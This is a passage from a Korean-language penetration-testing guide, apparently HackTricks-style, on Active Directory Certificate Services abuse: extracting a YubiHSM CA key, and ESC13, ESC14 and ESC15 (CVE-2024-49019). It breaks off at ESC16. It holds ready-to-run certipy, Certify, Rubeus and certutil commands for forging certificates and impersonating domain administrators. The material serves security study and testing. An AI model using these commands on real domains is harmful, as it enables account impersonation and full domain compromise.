CA server๊ฐ€ USB ํฌํŠธ๋ฅผ ํ†ตํ•ด USB device์— ์—ฐ๊ฒฐ๋˜์–ด ์žˆ๊ฑฐ๋‚˜, CA server๊ฐ€ virtual machine์ธ ๊ฒฝ์šฐ USB device server์— ์—ฐ๊ฒฐ๋˜์–ด ์žˆ๋‹ค๋ฉด, Key Storage Provider๊ฐ€ YubiHSM์—์„œ ํ‚ค๋ฅผ ์ƒ์„ฑํ•˜๊ณ  ์‚ฌ์šฉํ•˜๋Š” ๋ฐ์— authentication key(๋•Œ๋•Œ๋กœ โ€œpasswordโ€œ๋ผ๊ณ ๋„ ํ•จ)๊ฐ€ ํ•„์š”ํ•ฉ๋‹ˆ๋‹ค.

์ด ํ‚ค/๋น„๋ฐ€๋ฒˆํ˜ธ๋Š” ๋ ˆ์ง€์ŠคํŠธ๋ฆฌ์˜ HKEY_LOCAL_MACHINE\SOFTWARE\Yubico\YubiHSM\AuthKeysetPassword์— ํ‰๋ฌธ์œผ๋กœ ์ €์žฅ๋ฉ๋‹ˆ๋‹ค.

Reference in here.

์•…์šฉ ์‹œ๋‚˜๋ฆฌ์˜ค

CA์˜ private key๊ฐ€ ๋ฌผ๋ฆฌ์  USB ์žฅ์น˜์— ์ €์žฅ๋˜์–ด ์žˆ๊ณ  ๋‹น์‹ ์ด shell access์„ ์–ป์€ ๊ฒฝ์šฐ, ํ•ด๋‹น ํ‚ค๋ฅผ ๋ณต๊ตฌํ•˜๋Š” ๊ฒƒ์ด ๊ฐ€๋Šฅํ•ฉ๋‹ˆ๋‹ค.

๋จผ์ € CA certificate(์ด๋Š” publicํ•จ)๋ฅผ ํ™•๋ณดํ•œ ํ›„ ๋‹ค์Œ์„ ์ˆ˜ํ–‰ํ•ฉ๋‹ˆ๋‹ค:

# import it to the user store with CA certificate
$ certutil -addstore -user my <CA certificate file>

# Associated with the private key in the YubiHSM2 device
$ certutil -csp "YubiHSM Key Storage Provider" -repairstore -user my <CA Common Name>

๋งˆ์ง€๋ง‰์œผ๋กœ certutil -sign ๋ช…๋ น์„ ์‚ฌ์šฉํ•˜์—ฌ CA ์ธ์ฆ์„œ์™€ ํ•ด๋‹น ๊ฐœ์ธ ํ‚ค๋กœ ์ž„์˜์˜ ์ƒˆ ์ธ์ฆ์„œ๋ฅผ ์œ„์กฐํ•˜์„ธ์š”.

์„ค๋ช…

msPKI-Certificate-Policy ์†์„ฑ์€ ์ธ์ฆ์„œ ํ…œํ”Œ๋ฆฟ์— ๋ฐœํ–‰ ์ •์ฑ…์„ ์ถ”๊ฐ€ํ•  ์ˆ˜ ์žˆ๊ฒŒ ํ•ฉ๋‹ˆ๋‹ค. ๋ฐœํ–‰ ์ •์ฑ…์„ ๋‹ด๋‹นํ•˜๋Š” msPKI-Enterprise-Oid ๊ฐ์ฒด๋“ค์€ PKI OID ์ปจํ…Œ์ด๋„ˆ์˜ Configuration Naming Context (CN=OID,CN=Public Key Services,CN=Services)์—์„œ ๋ฐœ๊ฒฌํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์ด ๊ฐ์ฒด์˜ msDS-OIDToGroupLink ์†์„ฑ์„ ์‚ฌ์šฉํ•ด ์ •์ฑ…์„ AD ๊ทธ๋ฃน์— ์—ฐ๊ฒฐํ•  ์ˆ˜ ์žˆ์œผ๋ฉฐ, ์ด๋ฅผ ํ†ตํ•ด ์‹œ์Šคํ…œ์€ ์ธ์ฆ์„œ๋ฅผ ์ œ์‹œํ•œ ์‚ฌ์šฉ์ž๋ฅผ ํ•ด๋‹น ๊ทธ๋ฃน์˜ ๋ฉค๋ฒ„์ธ ๊ฒƒ์ฒ˜๋Ÿผ ๊ถŒํ•œ์„ ๋ถ€์—ฌํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. Reference in here.

๋‹ค์‹œ ๋งํ•ด, ์‚ฌ์šฉ์ž๊ฐ€ ์ธ์ฆ์„œ๋ฅผ ๋“ฑ๋กํ•  ๊ถŒํ•œ์ด ์žˆ๊ณ  ๊ทธ ์ธ์ฆ์„œ๊ฐ€ OID ๊ทธ๋ฃน์— ์—ฐ๊ฒฐ๋˜์–ด ์žˆ์œผ๋ฉด, ์‚ฌ์šฉ์ž๋Š” ํ•ด๋‹น ๊ทธ๋ฃน์˜ ๊ถŒํ•œ์„ ์ƒ์†๋ฐ›์„ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

Use Check-ADCSESC13.ps1 to find OIDToGroupLink:

Enumerating OIDs
------------------------
OID 23541150.FCB720D24BC82FBD1A33CB406A14094D links to group: CN=VulnerableGroup,CN=Users,DC=domain,DC=local

OID DisplayName: 1.3.6.1.4.1.311.21.8.3025710.4393146.2181807.13924342.9568199.8.4253412.23541150
OID DistinguishedName: CN=23541150.FCB720D24BC82FBD1A33CB406A14094D,CN=OID,CN=Public Key Services,CN=Services,CN=Configuration,DC=domain,DC=local
OID msPKI-Cert-Template-OID: 1.3.6.1.4.1.311.21.8.3025710.4393146.2181807.13924342.9568199.8.4253412.23541150
OID msDS-OIDToGroupLink: CN=VulnerableGroup,CN=Users,DC=domain,DC=local
------------------------
Enumerating certificate templates
------------------------
Certificate template VulnerableTemplate may be used to obtain membership of CN=VulnerableGroup,CN=Users,DC=domain,DC=local

Certificate template Name: VulnerableTemplate
OID DisplayName: 1.3.6.1.4.1.311.21.8.3025710.4393146.2181807.13924342.9568199.8.4253412.23541150
OID DistinguishedName: CN=23541150.FCB720D24BC82FBD1A33CB406A14094D,CN=OID,CN=Public Key Services,CN=Services,CN=Configuration,DC=domain,DC=local
OID msPKI-Cert-Template-OID: 1.3.6.1.4.1.311.21.8.3025710.4393146.2181807.13924342.9568199.8.4253412.23541150
OID msDS-OIDToGroupLink: CN=VulnerableGroup,CN=Users,DC=domain,DC=local
------------------------

์•…์šฉ ์‹œ๋‚˜๋ฆฌ์˜ค

์‚ฌ์šฉ์ž๊ฐ€ ์‚ฌ์šฉํ•  ์ˆ˜ ์žˆ๋Š” ๊ถŒํ•œ์„ certipy find ๋˜๋Š” Certify.exe find /showAllPermissions๋กœ ํ™•์ธํ•˜์„ธ์š”.

๋งŒ์•ฝ John์ด VulnerableTemplate์„ ๋“ฑ๋กํ•  ๊ถŒํ•œ์„ ๊ฐ€์ง€๊ณ  ์žˆ๋‹ค๋ฉด, ๊ทธ ์‚ฌ์šฉ์ž๋Š” VulnerableGroup ๊ทธ๋ฃน์˜ ๊ถŒํ•œ์„ ์Šน๊ณ„๋ฐ›์„ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

ํ•ด์•ผ ํ•  ์ผ์€ ํ…œํ”Œ๋ฆฟ์„ ์ง€์ •ํ•˜๋Š” ๊ฒƒ๋ฟ์ด๋ฉฐ, ๊ทธ๋Ÿฌ๋ฉด OIDToGroupLink ๊ถŒํ•œ์ด ํฌํ•จ๋œ ์ธ์ฆ์„œ๋ฅผ ๋ฐ›๊ฒŒ ๋ฉ๋‹ˆ๋‹ค.

certipy req -u "John@domain.local" -p "password" -dc-ip 192.168.100.100 -target "DC01.domain.local" -ca 'DC01-CA' -template 'VulnerableTemplate'

์ทจ์•ฝํ•œ ์ธ์ฆ์„œ ๊ฐฑ์‹  ๊ตฌ์„ฑ- ESC14

์„ค๋ช…

The description at https://github.com/ly4k/Certipy/wiki/06-%E2%80%90-Privilege-Escalation#esc14-weak-explicit-certificate-mapping is remarkably thorough. Below is a quotation of the original text.

ESC14๋Š” ์ฃผ๋กœ Active Directory ์‚ฌ์šฉ์ž ๋˜๋Š” ์ปดํ“จํ„ฐ ๊ณ„์ •์˜ altSecurityIdentities ์†์„ฑ์˜ ์˜ค์šฉ ๋˜๋Š” ๋ถˆ์•ˆ์ „ํ•œ ๊ตฌ์„ฑ์œผ๋กœ ์ธํ•ด ๋ฐœ์ƒํ•˜๋Š” โ€œ์•ฝํ•œ ๋ช…์‹œ์  ์ธ์ฆ์„œ ๋งคํ•‘(weak explicit certificate mapping)โ€ ์ทจ์•ฝ์ ์„ ๋‹ค๋ฃน๋‹ˆ๋‹ค. ์ด ๋‹ค์ค‘ ๊ฐ’ ์†์„ฑ์€ ๊ด€๋ฆฌ์ž๊ฐ€ ์ธ์ฆ ๋ชฉ์ ์œผ๋กœ X.509 ์ธ์ฆ์„œ๋ฅผ AD ๊ณ„์ •์— ์ˆ˜๋™์œผ๋กœ ์—ฐ๊ฒฐํ•  ์ˆ˜ ์žˆ๊ฒŒ ํ•ฉ๋‹ˆ๋‹ค. ๊ฐ’์ด ์ฑ„์›Œ์ง€๋ฉด ์ด๋Ÿฌํ•œ ๋ช…์‹œ์  ๋งคํ•‘์€ ์ผ๋ฐ˜์ ์œผ๋กœ ์ธ์ฆ์„œ์˜ SAN์— ์žˆ๋Š” UPN ๋˜๋Š” DNS ์ด๋ฆ„, ๋˜๋Š” szOID_NTDS_CA_SECURITY_EXT ๋ณด์•ˆ ํ™•์žฅ์— ํฌํ•จ๋œ SID์— ์˜์กดํ•˜๋Š” ๊ธฐ๋ณธ์ ์ธ ์ธ์ฆ์„œ ๋งคํ•‘ ๋กœ์ง์„ ๋ฌด์‹œํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

โ€œ์•ฝํ•œ(weak)โ€ ๋งคํ•‘์€ altSecurityIdentities ์†์„ฑ ๋‚ด์—์„œ ์ธ์ฆ์„œ๋ฅผ ์‹๋ณ„ํ•˜๊ธฐ ์œ„ํ•ด ์‚ฌ์šฉ๋œ ๋ฌธ์ž์—ด ๊ฐ’์ด ์ง€๋‚˜์น˜๊ฒŒ ๊ด‘๋ฒ”์œ„ํ•˜๊ฑฐ๋‚˜, ์‰ฝ๊ฒŒ ์ถ”์ธก ๊ฐ€๋Šฅํ•˜๊ฑฐ๋‚˜, ๊ณ ์œ ํ•˜์ง€ ์•Š์€ ์ธ์ฆ์„œ ํ•„๋“œ์— ์˜์กดํ•˜๊ฑฐ๋‚˜, ์‰ฝ๊ฒŒ ์œ„์กฐ ๊ฐ€๋Šฅํ•œ ์ธ์ฆ์„œ ๊ตฌ์„ฑ์š”์†Œ๋ฅผ ์‚ฌ์šฉํ•  ๋•Œ ๋ฐœ์ƒํ•ฉ๋‹ˆ๋‹ค. ๊ณต๊ฒฉ์ž๊ฐ€ ๊ถŒํ•œ ์žˆ๋Š” ๊ณ„์ •์— ๋Œ€ํ•ด ์ด๋ ‡๊ฒŒ ์•ฝํ•˜๊ฒŒ ์ •์˜๋œ ๋ช…์‹œ์  ๋งคํ•‘๊ณผ ์ผ์น˜ํ•˜๋Š” ์†์„ฑ์„ ๊ฐ€์ง„ ์ธ์ฆ์„œ๋ฅผ ์–ป๊ฑฐ๋‚˜ ์ œ์ž‘ํ•  ์ˆ˜ ์žˆ๋‹ค๋ฉด, ํ•ด๋‹น ์ธ์ฆ์„œ๋ฅผ ์‚ฌ์šฉํ•ด ๊ทธ ๊ณ„์ •์œผ๋กœ ์ธ์ฆํ•˜๊ณ  ๊ณ„์ •์œผ๋กœ ๊ฐ€์žฅํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

์ž ์žฌ์ ์œผ๋กœ ์•ฝํ•œ altSecurityIdentities ๋งคํ•‘ ๋ฌธ์ž์—ด์˜ ์˜ˆ๋Š” ๋‹ค์Œ๊ณผ ๊ฐ™์Šต๋‹ˆ๋‹ค:

  • ์ผ๋ฐ˜์ ์ธ Subject Common Name(CN)๋งŒ์œผ๋กœ ๋งคํ•‘: ์˜ˆ: X509:<S>CN=SomeUser. ๊ณต๊ฒฉ์ž๋Š” ๋ณด์•ˆ์ด ์•ฝํ•œ ์†Œ์Šค์—์„œ ์ด CN์„ ๊ฐ€์ง„ ์ธ์ฆ์„œ๋ฅผ ์–ป์„ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.
  • ํŠน์ • ์ผ๋ จ๋ฒˆํ˜ธ๋‚˜ subject key identifier ๊ฐ™์€ ์ถ”๊ฐ€ ์ž๊ฒฉ ์—†์ด ์ง€๋‚˜์น˜๊ฒŒ ์ผ๋ฐ˜์ ์ธ Issuer Distinguished Name(DN) ๋˜๋Š” Subject DN ์‚ฌ์šฉ: ์˜ˆ: X509:<I>CN=SomeInternalCA<S>CN=GenericUser.
  • ๊ณต๊ฒฉ์ž๊ฐ€ ์ •๋‹นํ•˜๊ฒŒ ์–ป๊ฑฐ๋‚˜ ์œ„์กฐํ•  ์ˆ˜ ์žˆ๋Š” ์ธ์ฆ์„œ์—์„œ ๋งŒ์กฑ์‹œํ‚ฌ ์ˆ˜ ์žˆ๋Š” ์˜ˆ์ธก ๊ฐ€๋Šฅํ•œ ํŒจํ„ด์ด๋‚˜ ๋น„์•”ํ˜ธํ•™์  ์‹๋ณ„์ž ์‚ฌ์šฉ(์˜ˆ: CA๊ฐ€ ์†์ƒ๋˜์—ˆ๊ฑฐ๋‚˜ ESC1๊ณผ ๊ฐ™์€ ์ทจ์•ฝํ•œ ํ…œํ”Œ๋ฆฟ์„ ์ฐพ์€ ๊ฒฝ์šฐ).

altSecurityIdentities ์†์„ฑ์€ ๋‹ค์Œ๊ณผ ๊ฐ™์€ ๋‹ค์–‘ํ•œ ๋งคํ•‘ ํ˜•์‹์„ ์ง€์›ํ•ฉ๋‹ˆ๋‹ค:

  • X509:<I>IssuerDN<S>SubjectDN (Issuer ๋ฐ Subject DN ์ „์ฒด๋กœ ๋งคํ•‘)
  • X509:<SKI>SubjectKeyIdentifier (์ธ์ฆ์„œ์˜ Subject Key Identifier ํ™•์žฅ ๊ฐ’์œผ๋กœ ๋งคํ•‘)
  • X509:<SR>SerialNumberBackedByIssuerDN (์ผ๋ จ๋ฒˆํ˜ธ๋กœ ๋งคํ•‘, ์•”๋ฌต์ ์œผ๋กœ Issuer DN์œผ๋กœ ํ•œ์ •๋จ) - ํ‘œ์ค€ ํ˜•์‹์€ ์•„๋‹ˆ๋ฉฐ ๋ณดํ†ต์€ <I>IssuerDN<SR>SerialNumber์ด๋‹ค.
  • X509:<RFC822>EmailAddress (SAN์˜ RFC822 ์ด๋ฆ„(์ผ๋ฐ˜์ ์œผ๋กœ ์ด๋ฉ”์ผ ์ฃผ์†Œ)์œผ๋กœ ๋งคํ•‘)
  • X509:<SHA1-PUKEY>Thumbprint-of-Raw-PublicKey (์ธ์ฆ์„œ์˜ ์›์‹œ ๊ณต๊ฐœํ‚ค์— ๋Œ€ํ•œ SHA1 ํ•ด์‹œ๋กœ ๋งคํ•‘ - ์ผ๋ฐ˜์ ์œผ๋กœ ๊ฐ•๋ ฅํ•จ)

์ด๋Ÿฌํ•œ ๋งคํ•‘์˜ ๋ณด์•ˆ์„ฑ์€ ๋งคํ•‘ ๋ฌธ์ž์—ด์—์„œ ์„ ํƒ๋œ ์ธ์ฆ์„œ ์‹๋ณ„์ž๋“ค์˜ ๊ตฌ์ฒด์„ฑ, ๊ณ ์œ ์„ฑ ๋ฐ ์•”ํ˜ธํ•™์  ๊ฐ•๋„์— ํฌ๊ฒŒ ์ขŒ์šฐ๋ฉ๋‹ˆ๋‹ค. ๋„๋ฉ”์ธ ์ปจํŠธ๋กค๋Ÿฌ์—์„œ ๊ฐ•๋ ฅํ•œ ์ธ์ฆ์„œ ๋ฐ”์ธ๋”ฉ ๋ชจ๋“œ๊ฐ€ ํ™œ์„ฑํ™”๋˜์–ด ์žˆ๋”๋ผ๋„(์ด๋Š” ์ฃผ๋กœ SAN UPN/DNS ๋ฐ SID ํ™•์žฅ์— ๊ธฐ๋ฐ˜ํ•œ ์•”๋ฌต์  ๋งคํ•‘์— ์˜ํ–ฅ์„ ์คŒ), ์ž˜๋ชป ๊ตฌ์„ฑ๋œ altSecurityIdentities ํ•ญ๋ชฉ์€ ๋งคํ•‘ ๋กœ์ง ์ž์ฒด๊ฐ€ ์ทจ์•ฝํ•˜๊ฑฐ๋‚˜ ๋„ˆ๋ฌด ๊ด€๋Œ€ํ•  ๊ฒฝ์šฐ ์—ฌ์ „ํžˆ ๊ฐ€์žฅํ™”์˜ ์ง์ ‘์ ์ธ ๊ฒฝ๋กœ๋ฅผ ์ œ๊ณตํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

Abuse Scenario

ESC14๋Š” Active Directory(AD)์˜ ๋ช…์‹œ์  ์ธ์ฆ์„œ ๋งคํ•‘(explicit certificate mappings), ํŠนํžˆ altSecurityIdentities ์†์„ฑ์„ ๋Œ€์ƒ์œผ๋กœ ํ•ฉ๋‹ˆ๋‹ค. ์ด ์†์„ฑ์ด ์„ค์ •๋˜์–ด ์žˆ์œผ๋ฉด(์„ค๊ณ„์ƒ ๋˜๋Š” ์ž˜๋ชป๋œ ๊ตฌ์„ฑ์œผ๋กœ) ๊ณต๊ฒฉ์ž๋Š” ํ•ด๋‹น ๋งคํ•‘๊ณผ ์ผ์น˜ํ•˜๋Š” ์ธ์ฆ์„œ๋ฅผ ์ œ์‹œํ•˜์—ฌ ๊ณ„์ •์„ ๊ฐ€์žฅํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

Scenario A: Attacker Can Write to altSecurityIdentities

์ „์ œ ์กฐ๊ฑด: ๊ณต๊ฒฉ์ž๊ฐ€ ๋Œ€์ƒ ๊ณ„์ •์˜ altSecurityIdentities ์†์„ฑ์— ์“ธ ์ˆ˜ ์žˆ๋Š” ๊ถŒํ•œ์„ ๊ฐ€์ง€๊ณ  ์žˆ๊ฑฐ๋‚˜, ๋Œ€์ƒ AD ๊ฐ์ฒด์— ๋Œ€ํ•ด ๋‹ค์Œ ๊ถŒํ•œ ์ค‘ ํ•˜๋‚˜๋ฅผ ๋ถ€์—ฌํ•  ์ˆ˜ ์žˆ๋Š” ๊ถŒํ•œ์„ ๊ฐ€์ง€๊ณ  ์žˆ์Œ:

  • Write property altSecurityIdentities
  • Write property Public-Information
  • Write property (all)
  • WriteDACL
  • WriteOwner*
  • GenericWrite
  • GenericAll
  • Owner*.

Scenario B: Target Has Weak Mapping via X509RFC822 (Email)

  • ์ „์ œ ์กฐ๊ฑด: ๋Œ€์ƒ์ด altSecurityIdentities์— ์•ฝํ•œ X509RFC822 ๋งคํ•‘์„ ๊ฐ€์ง€๊ณ  ์žˆ์Œ. ๊ณต๊ฒฉ์ž๋Š” ํ”ผํ•ด์ž์˜ mail ์†์„ฑ์„ ๋Œ€์ƒ์˜ X509RFC822 ์ด๋ฆ„๊ณผ ์ผ์น˜ํ•˜๋„๋ก ์„ค์ •ํ•˜๊ณ , ํ”ผํ•ด์ž ์ด๋ฆ„์œผ๋กœ ์ธ์ฆ์„œ๋ฅผ ๋ฐœ๊ธ‰๋ฐ›์•„ ๊ทธ ์ธ์ฆ์„œ๋ฅผ ์‚ฌ์šฉํ•ด ๋Œ€์ƒ ๊ณ„์ •์œผ๋กœ ์ธ์ฆํ•  ์ˆ˜ ์žˆ์Œ.

Scenario C: Target Has X509IssuerSubject Mapping

  • ์ „์ œ ์กฐ๊ฑด: ๋Œ€์ƒ์ด altSecurityIdentities์— ์•ฝํ•œ X509IssuerSubject ๋ช…์‹œ์  ๋งคํ•‘์„ ๊ฐ€์ง€๊ณ  ์žˆ์Œ. ๊ณต๊ฒฉ์ž๋Š” ํ”ผํ•ด์ž ์ฃผ์ฒด์˜ cn ๋˜๋Š” dNSHostName ์†์„ฑ์„ ๋Œ€์ƒ์˜ X509IssuerSubject ๋งคํ•‘์˜ subject์™€ ์ผ์น˜ํ•˜๋„๋ก ์„ค์ •ํ•  ์ˆ˜ ์žˆ์Œ. ๊ทธ ํ›„ ๊ณต๊ฒฉ์ž๋Š” ํ”ผํ•ด์ž ์ด๋ฆ„์œผ๋กœ ์ธ์ฆ์„œ๋ฅผ ๋ฐœ๊ธ‰๋ฐ›์•„ ์ด ์ธ์ฆ์„œ๋ฅผ ์‚ฌ์šฉํ•ด ๋Œ€์ƒ ๊ณ„์ •์œผ๋กœ ์ธ์ฆํ•  ์ˆ˜ ์žˆ์Œ.

Scenario D: Target Has X509SubjectOnly Mapping

  • ์ „์ œ ์กฐ๊ฑด: ๋Œ€์ƒ์ด altSecurityIdentities์— ์•ฝํ•œ X509SubjectOnly ๋ช…์‹œ์  ๋งคํ•‘์„ ๊ฐ€์ง€๊ณ  ์žˆ์Œ. ๊ณต๊ฒฉ์ž๋Š” ํ”ผํ•ด์ž ์ฃผ์ฒด์˜ cn ๋˜๋Š” dNSHostName ์†์„ฑ์„ ๋Œ€์ƒ์˜ X509SubjectOnly ๋งคํ•‘์˜ subject์™€ ์ผ์น˜ํ•˜๋„๋ก ์„ค์ •ํ•  ์ˆ˜ ์žˆ์Œ. ์ดํ›„ ๊ณต๊ฒฉ์ž๋Š” ํ”ผํ•ด์ž ์ด๋ฆ„์œผ๋กœ ์ธ์ฆ์„œ๋ฅผ ๋ฐœ๊ธ‰๋ฐ›์•„ ์ด ์ธ์ฆ์„œ๋ฅผ ์‚ฌ์šฉํ•ด ๋Œ€์ƒ ๊ณ„์ •์œผ๋กœ ์ธ์ฆํ•  ์ˆ˜ ์žˆ์Œ.

concrete operations

Scenario A

Request a certificate of the certificate template Machine

.\Certify.exe request /ca:<ca> /template:Machine /machine

์ธ์ฆ์„œ๋ฅผ ์ €์žฅํ•˜๊ณ  ๋ณ€ํ™˜ํ•˜์„ธ์š”.

certutil -MergePFX .\esc13.pem .\esc13.pfx

์ธ์ฆ (์ธ์ฆ์„œ๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ)

.\Rubeus.exe asktgt /user:<user> /certificate:C:\esc13.pfx /nowrap

์ •๋ฆฌ (์„ ํƒ ์‚ฌํ•ญ)

Remove-AltSecIDMapping -DistinguishedName "CN=TargetUserA,CN=Users,DC=external,DC=local" -MappingString "X509:<I>DC=local,DC=external,CN=external-EXTCA01-CA<SR>250000000000a5e838c6db04f959250000006c"

๋‹ค์–‘ํ•œ ๊ณต๊ฒฉ ์‹œ๋‚˜๋ฆฌ์˜ค์—์„œ ๋” ๊ตฌ์ฒด์ ์ธ ๊ณต๊ฒฉ ๋ฐฉ๋ฒ•์€ ๋‹ค์Œ์„ ์ฐธ๊ณ ํ•˜์„ธ์š”: adcs-esc14-abuse-technique.

EKUwu Application Policies(CVE-2024-49019) - ESC15

์„ค๋ช…

https://trustedsec.com/blog/ekuwu-not-just-another-ad-cs-esc์˜ ์„ค๋ช…์€ ๋งค์šฐ ์ƒ์„ธํ•ฉ๋‹ˆ๋‹ค. ์•„๋ž˜๋Š” ์›๋ฌธ ์ธ์šฉ์ž…๋‹ˆ๋‹ค.

Using built-in default version 1 certificate templates, an attacker can craft a CSR to include application policies that are preferred over the configured Extended Key Usage attributes specified in the template. The only requirement is enrollment rights, and it can be used to generate client authentication, certificate request agent, and codesigning certificates using theย WebServerย template

์•…์šฉ

๋‹ค์Œ์€ [์ด ๋งํฌ]((https://github.com/ly4k/Certipy/wiki/06-%E2%80%90-Privilege-Escalation#esc15-arbitrary-application-policy-injection-in-v1-templates-cve-2024-49019-ekuwu),Click to see more detailed usage methods.

Certipy์˜ find ๋ช…๋ น์€ CA๊ฐ€ ํŒจ์น˜๋˜์ง€ ์•Š์€ ๊ฒฝ์šฐ ESC15์— ์ทจ์•ฝํ•  ๊ฐ€๋Šฅ์„ฑ์ด ์žˆ๋Š” V1 ํ…œํ”Œ๋ฆฟ์„ ์‹๋ณ„ํ•˜๋Š” ๋ฐ ๋„์›€์ด ๋  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

certipy find -username cccc@aaa.htb -password aaaaaa -dc-ip 10.0.0.100

์‹œ๋‚˜๋ฆฌ์˜ค A: Schannel์„ ํ†ตํ•œ ์ง์ ‘ ๊ฐ€์žฅ

Step 1: ์ธ์ฆ์„œ๋ฅผ ์š”์ฒญํ•˜๋ฉด์„œ โ€œClient Authenticationโ€ Application Policy์™€ ๋Œ€์ƒ UPN์„ ์ฃผ์ž…ํ•ฉ๋‹ˆ๋‹ค. ๊ณต๊ฒฉ์ž attacker@corp.local๋Š” โ€œWebServerโ€ V1 ํ…œํ”Œ๋ฆฟ(๊ฐ€์ž…์ž๊ฐ€ ์ œ๊ณตํ•œ subject๋ฅผ ํ—ˆ์šฉํ•จ)์„ ์‚ฌ์šฉํ•˜์—ฌ administrator@corp.local์„ ๋Œ€์ƒ์œผ๋กœ ํ•ฉ๋‹ˆ๋‹ค.

certipy req \
-u 'attacker@corp.local' -p 'Passw0rd!' \
-dc-ip '10.0.0.100' -target 'CA.CORP.LOCAL' \
-ca 'CORP-CA' -template 'WebServer' \
-upn 'administrator@corp.local' -sid 'S-1-5-21-...-500' \
-application-policies 'Client Authentication'
  • -template 'WebServer': ์ทจ์•ฝํ•œ V1 ํ…œํ”Œ๋ฆฟ์œผ๋กœ, โ€œEnrollee supplies subjectโ€œ๊ฐ€ ์„ค์ •๋œ ํ…œํ”Œ๋ฆฟ์ž…๋‹ˆ๋‹ค.
  • -application-policies 'Client Authentication': CSR์˜ Application Policies ํ™•์žฅ์— OID 1.3.6.1.5.5.7.3.2๋ฅผ ์‚ฝ์ž…ํ•ฉ๋‹ˆ๋‹ค.
  • -upn 'administrator@corp.local': ์‚ฌ์นญ์„ ์œ„ํ•ด SAN์— UPN์„ ์„ค์ •ํ•ฉ๋‹ˆ๋‹ค.

2๋‹จ๊ณ„: ํš๋“ํ•œ ์ธ์ฆ์„œ๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ Schannel (LDAPS)์„ ํ†ตํ•ด ์ธ์ฆํ•ฉ๋‹ˆ๋‹ค.

certipy auth -pfx 'administrator.pfx' -dc-ip '10.0.0.100' -ldap-shell

์‹œ๋‚˜๋ฆฌ์˜ค B: PKINIT/Kerberos Impersonation via Enrollment Agent Abuse

1๋‹จ๊ณ„: V1 ํ…œํ”Œ๋ฆฟ( โ€œEnrollee supplies subjectโ€ ํฌํ•จ)์—์„œ ์ธ์ฆ์„œ๋ฅผ ์š”์ฒญํ•˜๊ณ , โ€œCertificate Request Agentโ€ Application Policy๋ฅผ ์ฃผ์ž…ํ•ฉ๋‹ˆ๋‹ค. ์ด ์ธ์ฆ์„œ๋Š” ๊ณต๊ฒฉ์ž(attacker@corp.local)๊ฐ€ enrollment agent๊ฐ€ ๋˜๊ธฐ ์œ„ํ•ด ๋ฐœ๊ธ‰๋ฐ›๋Š” ๊ฒƒ์ž…๋‹ˆ๋‹ค. ์—ฌ๊ธฐ์„œ๋Š” ๊ณต๊ฒฉ์ž ์ž์‹ ์˜ ์‹ ์›์— UPN์„ ์ง€์ •ํ•˜์ง€ ์•Š์Šต๋‹ˆ๋‹ค โ€” ๋ชฉํ‘œ๋Š” agent ๊ถŒํ•œ ํš๋“์ด๊ธฐ ๋•Œ๋ฌธ์ž…๋‹ˆ๋‹ค.

certipy req \
-u 'attacker@corp.local' -p 'Passw0rd!' \
-dc-ip '10.0.0.100' -target 'CA.CORP.LOCAL' \
-ca 'CORP-CA' -template 'WebServer' \
-application-policies 'Certificate Request Agent'
  • -application-policies 'Certificate Request Agent': OID 1.3.6.1.4.1.311.20.2.1์„ ์ฃผ์ž…ํ•ฉ๋‹ˆ๋‹ค.

๋‹จ๊ณ„ 2: โ€œagentโ€ ์ธ์ฆ์„œ๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ ๋Œ€์ƒ ํŠน๊ถŒ ์‚ฌ์šฉ์ž๋ฅผ ๋Œ€์‹ ํ•ด ์ธ์ฆ์„œ๋ฅผ ์š”์ฒญํ•ฉ๋‹ˆ๋‹ค. ์ด๋Š” ESC3-like ๋‹จ๊ณ„๋กœ, ๋‹จ๊ณ„ 1์˜ ์ธ์ฆ์„œ๋ฅผ agent ์ธ์ฆ์„œ๋กœ ์‚ฌ์šฉํ•ฉ๋‹ˆ๋‹ค.

certipy req \
-u 'attacker@corp.local' -p 'Passw0rd!' \
-dc-ip '10.0.0.100' -target 'CA.CORP.LOCAL' \
-ca 'CORP-CA' -template 'User' \
-pfx 'attacker.pfx' -on-behalf-of 'CORP\Administrator'

3๋‹จ๊ณ„: โ€œon-behalf-ofโ€ ์ธ์ฆ์„œ๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ ํŠน๊ถŒ ์‚ฌ์šฉ์ž๋กœ ์ธ์ฆํ•œ๋‹ค.

certipy auth -pfx 'administrator.pfx' -dc-ip '10.0.0.100'

Security Extension Disabled on CA (Globally)-ESC16

์„ค๋ช…

**ESC16 (Elevation of Privilege via Missing szOID_NTDS_CA_SECURITY_EXT Extension)**๋Š” AD CS์˜ ๊ตฌ์„ฑ์—์„œ ๋ชจ๋“  ์ธ์ฆ์„œ์— szOID_NTDS_CA_SECURITY_EXT ํ™•์žฅ์„ ํฌํ•จํ•˜๋„๋ก ๊ฐ•์ œํ•˜์ง€ ์•Š์„ ๊ฒฝ์šฐ ๊ณต๊ฒฉ์ž๊ฐ€ ๋‹ค์Œ๊ณผ ๊ฐ™์ด ์ด ์ทจ์•ฝ์ ์„ ์•…์šฉํ•  ์ˆ˜ ์žˆ๋Š” ์‹œ๋‚˜๋ฆฌ์˜ค๋ฅผ ์˜๋ฏธํ•ฉ๋‹ˆ๋‹ค:

  1. SID binding ์—†์ด ์ธ์ฆ์„œ๋ฅผ ์š”์ฒญํ•ฉ๋‹ˆ๋‹ค.

